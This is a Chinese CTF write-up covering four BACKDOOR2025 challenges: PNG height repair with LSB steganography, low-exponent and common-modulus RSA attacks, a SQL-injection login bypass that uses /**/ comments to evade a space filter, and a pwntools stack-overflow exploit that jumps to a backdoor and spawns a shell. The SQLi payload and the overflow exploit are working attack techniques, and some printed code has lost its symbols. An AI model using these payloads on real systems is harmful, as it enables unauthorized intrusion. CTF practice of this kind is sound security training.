BACKDOOR2025 CTF题解:PNG隐写、RSA低指数、SQL注入与栈溢出

发布时间:2026/9/25 9:42:20
BACKDOOR2025 CTF题解:PNG隐写、RSA低指数、SQL注入与栈溢出 1. 先说说我为什么只写了这几道题BACKDOOR2025 是某安全社区在年初办的线上CTF题目难度整体不算变态但分类很全MISC、Crypto、Web、Reverse、PWN 都上了。比赛时长 48 小时周日晚上结束周一我还要上班所以我的策略是先把能稳定拿分的 MISC 和 Crypto 清掉再去啃 Web 和 PWNReverse 这种耗时间的放到最后。最后停下来盘点一共解出 7 道这篇题解挑了 4 道最有代表性的写。为什么不全部写出来原因很实在有几道题是靠爆破和运气试出来的解题路径根本没法复现写出来除了证明我试了很多次以外没有任何价值还有一道 Reverse 题我做到了最后一步但是 flag 格式死活不对官方也没放 writeup我到现在都没想明白。剩下这些题每一道都有清晰的从观察到结论的推理过程适合拿出来讲透。另外如果你也是刚开始玩 CTF我想先给你一个定心丸这场比赛的签到题和初级题就是 MISC 和 Crypto 里最经典的套路你把我下面写的解法跑通一遍基本就能摸清这两个方向的常见玩法了。Web 和 PWN 那两题需要一点前置知识我会尽量把原理拆开讲。2. MISC题一张风景照里藏了两层信息2.1 题目回顾与拿到文件后的第一反应题目叫破碎的风景下载下来是一张 PNG名字是broken_scenery.png文件大小 1.4MB看着没问题一打开就露馅了——图片只有上半部分是风景下半部分是灰的。这种题目十有八九是 PNG 的宽高信息被动了手脚图片显示不全但像素数据其实还在里面。我的习惯是先丢进 010 Editor 看文件结构顺便用binwalk扫一下有没有附加数据。当时binwalk没扫出什么明显的压缩包倒是 010 Editor 里 IHDR 块的数据让我起了疑心。PNG 文件开头的结构是固定的8 字节签名然后是 IHDR 数据块里面按顺序存宽度、高度、位深、颜色类型等。我把高度那段改了改图片就能拉长但拉长之后 CRC 校验又报错——这说明高度确实被改过而且出题人没有重新计算 CRC而是把正确的 CRC 留在了文件里。2.2 修复PNG宽高用CRC反推正确高度PNG 的每个数据块尾部都有 4 字节 CRC 校验它由块类型名 块数据计算而来。出题人如果把高度改成一个小值但没有同步修改 CRC那么校验值里就藏着真实高度的信息。所以解法很直接枚举高度每试一个值就算一遍 CRC和文件里已有的 CRC 比对匹配的那一个就是原始高度。这里贴一下我当时用的脚本逻辑很简短import struct import zlib data open(broken_scenery.png, rb).read() # IHDR块从文件偏移8开始宽度在12~16高度在16~20 # 改的是高度字段需要连同后面的CRC一起重算 for h in range(1, 4096): new_data data[:16] struct.pack(I, h) data[20:] crc zlib.crc32(new_data[12:29]) 0xffffffff if crc struct.unpack(I, data[29:33])[0]: print(correct height:, h) open(fixed_scenery.png, wb).write(new_data) break跑出来的高度是 1024原文件显示的高度只有 256。把修复后的图片重新打开下半部分露出了一行字the real message is in the blue pixel。看到这行字基本可以确定是 LSB 隐写了。2.3 为什么修复宽高这类题总让人卡住很多人拿到这种改坏的 PNG第一反应是拿工具直接显示全部或者盲目改宽高然后保存结果图片花了一片。关键点是PNG 的 CRC 不是摆设你只改高度不重新计算 CRC图片查看器会直接拒绝加载或者干脆显示损坏。反过来想这也给了我们一个突破口——CRC 算出来不对说明一定有某个隐藏的正确值存在而这个值往往就是原始参数。这个小技巧在比赛里出现频率不低不只是 PNGGIF 和 BMP 有时候也会被人修改头部字段做文章。核心思路就一句话不要相信显示出来的内容文件头结构才是唯一可信的。2.4 LSB隐写的原理和提取脚本LSB 隐写全称 Least Significant Bit本质是利用人眼对颜色细微变化不敏感这个特性。24 位真彩色图片里一个像素的红、绿、蓝三个通道各占 8 位把每个通道最低的那一位换成信息位颜色的变化幅度只有 1/255肉眼根本分辨不出来。题目提示the real message is in the blue pixel那就是只取蓝色通道的最低位。我用 Python 的 PIL 库写了个提取脚本from PIL import Image img Image.open(fixed_scenery.png) pixels img.load() bits [] for y in range(img.height): for x in range(img.width): r, g, b pixels[x, y][:3] bits.append(b 1) # 8个bit拼一个字节直到遇到不可见字符为止 flag_bytes bytearray() for i in range(0, len(bits) - 7, 8): byte 0 for j in range(8): byte (byte 1) | bits[i j] if 32 byte 126: flag_bytes.append(byte) else: break print(flag_bytes.decode())跑出来是一串 Base64再解一层就得到了 flag。这种先修图再隐写的嵌套套路在今年的 MISC 题里很常见本质是考验你会不会把多个基础技能串起来用。3. Crypto题e3引发的连锁反应3.1 题目给了什么以及我当时怎么看参数这道题叫低指数之痛附件里只有一个文本文件三行内容n、e、c。n 是一个 1024 位的质数乘积e 是 3c 是大整数。文本末尾附了一句提示maybe i should hide it better。我拿到手第一件事就是统计 n 和 c 的位数。用 Python 跑一下len(bin(c))发现 c 只有 286 位而 n 有 1024 位。这个数字差异很关键——它说明密文本身的数值远小于模数 n。再看 e 是 3整个题目几乎是在明着告诉你这就是非对称加密里最经典的低加密指数攻击。3.2 直接对密文开三次方RSA 加密过程可以简化为 c m^e mod n。如果 m^e 的结果比 n 小那么模运算实际上没有发生c 就是 m^3 本身。这时候解 m 只需要对 c 开三次方根跟 RSA 的参数 p、q、n 全都无关。我用的脚本就几行核心是gmpy2的iroot函数from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 从题目文本中提取 n, e, c task open(task.txt, rb).read().decode() n int(task.split(n )[1].split(\n)[0]) e 3 c int(task.split(c )[1].strip()) m, exact iroot(c, 3) assert exact, m^3 超过了 n需要其他思路 print(long_to_bytes(m).decode())iroot返回两个值第一个是整数根第二个是布尔值表示是否开方成功。判断exact为 True说明 c 确实是某个整数的三次方直接转字节就是明文。跑出来是一段可读文本里面藏着 flag。3.3 为什么e3会有这种问题很多刚开始看 RSA 的同学会不理解低指数到底低在哪里。这里的关键不是 e 本身小而是m 的 e 次方与 n 的大小关系。如果明文 m 很短m^3 可能只有几百位而 n 是上千位的模数这时加密过程退化成普通乘方什么大数分解、私钥推导全都不需要了攻击者拿到 c 就能还原 m。作为防御一方正确做法是使用足够大的随机填充方案比如 OAEP让填充后的明文长度接近模数长度这样即使 e 很小m^e 也会超过 n从而触发模运算阻断这类攻击。CTF 的出题人常常故意省略这一步就是为了让你看到算法在错误使用时的脆弱面。3.4 顺着这个思路再延伸一步共模攻击比赛里还有一道 Crypto 题我没写详细题解但可以在这里提一嘴它给的是两组密文n 完全相同e 分别是 3 和 5。这种结构就是 RSA 的共模攻击场景。因为两个 e 互质存在整数 a、b 满足 3a5b1利用扩展欧几里得算法算出 a、b 后明文就能通过两个密文的幂次相乘得到。这个原理和低指数攻击同属RSA 参数使用不当如果你把这题吃透了再看那题只会觉得思路是相通的。简单贴一下共模攻击的核心片段def egcd(a, b): if b 0: return (a, 1, 0) g, x, y egcd(b, a % b) return (g, y, x - (a // b) * y) _, s1, s2 egcd(e1, e2) if s1 0: m pow(c1, -s1, n) * pow(c2, s2, n) % n else: m pow(c1, s1, n) * pow(c2, -s2, n) % n注意 s1 或 s2 可能是负数此时对应的幂次需要先求模逆元这个细节很多新手会踩坑我当年就在这里卡过一晚上。4. Web题登录框的过滤只是纸糊的4.1 题目很朴素但提示藏在源码里Web 题叫过滤登录打开就是一个居中登录框两个输入项username 和 password没有任何验证码。查看网页源码发现一行注释!-- username: admin --这几乎就是在告诉我们账号是 admin。接下来就是测密码。这个题没有把密码藏在响应里让你找而是走登录绕过路线。我打开 Burp Suite 抓包把请求转发到 Repeater 里手动改参数。第一轮测试先随便填 admin/123456服务器返回login failed。然后我在 username 后面加了一个单引号改成admin服务器直接返回了 500 错误逻辑很明显它的 SQL 拼接没做参数化属于字符串拼接型注入点。4.2 空格被过滤真正卡住我的地方知道是 SQL 注入后第一反应就是构造经典的万能密码。我提交admin or 11 -- -响应却是invalid character: space——它把空格直接过滤了。这个过滤其实很初级只挡了空格字符没挡其他东西。SQL 里表达空格的方式比大多数人想象的多。MySQL 的内联注释/**/完全可以替代空格还能把关键词拆开避免关键字过滤。我构造了这样的 payloadadmin/**/or/**/11##在 MySQL 里是注释符把它放在末尾能吃掉后面的引号让 SQL 语句完整闭合。具体拼接出来大概是SELECT * FROM users WHERE username admin/**/or/**/11# AND password xxx这里的/**/被 MySQL 当成一个不可见的空白整个条件变成了usernameadmin or 11恒为真登录自然就通过了。回车后服务器返回了一个 token是一个 UUID 样式的字符串。带着这个 token 去访问/flag接口直接把 flag 打印了出来。4.3 从出题人角度聊聊这个过滤为什么不够这个题不是爆破题它考的是对 SQL 语法细节的熟悉程度。只用/**/代替空格本质上是因为过滤规则太死板。如果出题人再严格一点把or、and、#、/**/全部过滤那这个绕过就不好使了需要走报错注入或者时间盲注的路子。站在学习角度我觉得这种题的价值在于让你意识到手动测试永远不要只试一个 payload 就放弃。我当时至少试了七八种组合包括制表符、换行符、%09、括号才确定空格是唯一被拦截的字符。比赛里过滤通常是局部过滤真正的全防护极少见因为出题人也要控制难度。当然我们做这类题目的前提是目标处于比赛官方搭建的靶场环境中属于明确授权的安全测试。把它当成一个语法游戏来玩重点不在如何攻破真实系统而是理解 SQL 注释、布尔逻辑和拼接漏洞的本质。5. Pwn题从checksec到拿到shell的一次栈溢出5.1 一道名字像签到题的PwnPwn 题叫echo_secret用题目描述猜大概率是一个读取输入并回显的程序。我下载下来用file命令看了一眼是 64 位 ELF没加壳。按老规矩先跑一遍checksecArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE看到No canary和No PIE我心里就有底了这是一个典型的入门级栈溢出题返回地址是固定的且返回地址前面没有金丝雀随机值保护直接覆盖就行。5.2 在IDA里找到那扇后门用 IDA 打开程序反汇编很快就能定位到主函数。主函数逻辑很简单打印一个提示然后调用gets读入输入再调用printf输出。我在函数列表里还看到一个名为secret_backdoor的函数这个函数体内部直接执行了system(/bin/sh)。看到这里题目名字瞬间就明白了——它把后门直接写在题目里了。我们的目标就是把程序的控制流改道让它在返回时跳到secret_backdoor。拿到函数地址后我记下0x401216。程序没开 PIE这意味着这个地址在每次运行时都是固定的不需要先泄露任何基址。5.3 算偏移这一步绝对不能猜接下来最关键的是确定输入缓冲区到返回地址的距离。常见做法是用cyclic生成一串有规律的字符把它当作输入发给程序等程序崩了以后再看崩溃时的返回地址用cyclic的逆过程算出偏移。我的操作过程是这样的cyclic 200 payload.txt (python3 -c import sys; sys.stdout.buffer.write(open(payload.txt,rb).read()) | ./echo_secret)程序崩溃后gdb 提示 rip 落在了0x6261616b附近把这个值丢给cyclic -l输出 28。也就是说从缓冲区开头到返回地址位置一共需要填充 28 字节的数据前 20 字节是缓冲区本身再往后的 8 字节是保存的栈基址第 28 字节起才是真正的返回地址。5.4 构造payload并本地验证有了地址和偏移payload 就很简单了。用 pwntools 写 expfrom pwn import * context.arch amd64 p process(./echo_secret) offset 28 backdoor_addr 0x401216 payload bA * offset p64(backdoor_addr) p.sendline(payload) p.interactive()发送后终端直接进入了交互式 shell。我敲了一句cat flag.txtflag 立刻输出。整个流程从 checksec 到 getshell加上写脚本的时间不超过十五分钟。5.5 这个流程为什么对新手友好这道题之所以适合写进题解是因为它完整展示了 Pwn 入门最核心的路径先看保护再找后门再算偏移最后构造 payload。很多新手上来就想着怎么打忽略了 checksec 这一步结果在开了 canary 的题里反复撞墙根本不知道问题出在哪。顺便说一句gets这个函数本身就是高危函数它不对输入长度做任何限制在真实代码里早就不应该出现了。但在 CTF 里它成了出题人最顺手的一个开关因为只要程序引用了它配合后门函数就能拼出一大票经典题。6. 这场比赛真正教会我的几件事6.1 时间分配比技术本身更重要上次打比赛我吃过亏一道 Reverse 题死磕了六个小时最后发现是动态调试时机不对浪费了整个下午。这次我给自己定的目标很明确先做 MISC 和 Crypto 保底再花两个下午去刚 Web 和 PWN剩下时间能看多少 Reverse 看多少。最后结果证明这个策略是对的两个保底方向基本没失手Web 和 PWN 各拿下一条。比赛里的分数不是按照你花了多少小时来给的而是按照你解出了哪道题来给的。一道题一旦卡住超过四十分钟我的建议是立刻换题回头再看可能只需要十分钟。6.2 工具的定位要清楚这次比赛我用的工具其实不多010 Editor 看文件结构、Stegsolve 看通道、binwalk 分离文件、Burp Suite 改包、IDA 做静态分析、pwntools 打本地验证。每个工具的作用都很单一但组合起来覆盖了绝大部分题型。有一点我想特别提醒不要迷信工具。binwalk 没扫出来的内容不代表文件末尾就是干净的SQLMap 的自动模式跑不出结果不代表注入点不存在。工具是辅助判断的真正决定你能不能解出题目的是你脑子里那套如何观察-如何假设-如何验证的思维流程。6.3 复盘时多问一个为什么这四道题如果只看解题过程都是标准的 CTF 家常菜。但我每做完一题都会追问一句这个漏洞在真实场景下对应什么问题LSB 隐写对应的是无感信息嵌入RSA 低指数对应的是密码参数使用不规范SQL 注入对应的是外部输入未处理直接拼接栈溢出对应的是危险函数调用。如果把每一道 CTF 题都翻译成真实世界的一个问题积累几年之后你会发现自己不是在刷题而是在建立一张安全知识的结构化地图。关于这篇题解最后想说的BACKDOOR2025 的题目整体质量不错难度梯度做得比较合理签到题和进阶题之间没有突然断档。如果你打算拿它练手我建议你优先把这篇提到的四类题目都做一遍MISC 修图加隐写、RSA 低指数、SQL 注入绕过、栈溢出 getshell它们几乎是所有主流 CTF 比赛的地基题。做完之后你会猛然发现再遇到类似题目第一步该干什么、该怀疑哪块完全不用犹豫。比赛结束那天晚上我本来还想再战几道 Reverse 题结果官方准时关服只好作罢。如果你也参加了这场比赛或者正在刷别的 CTF 练习题欢迎按这套思路试着复现。解出 flag 的那一瞬间你会觉得前面所有踩过的坑都是值得的。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询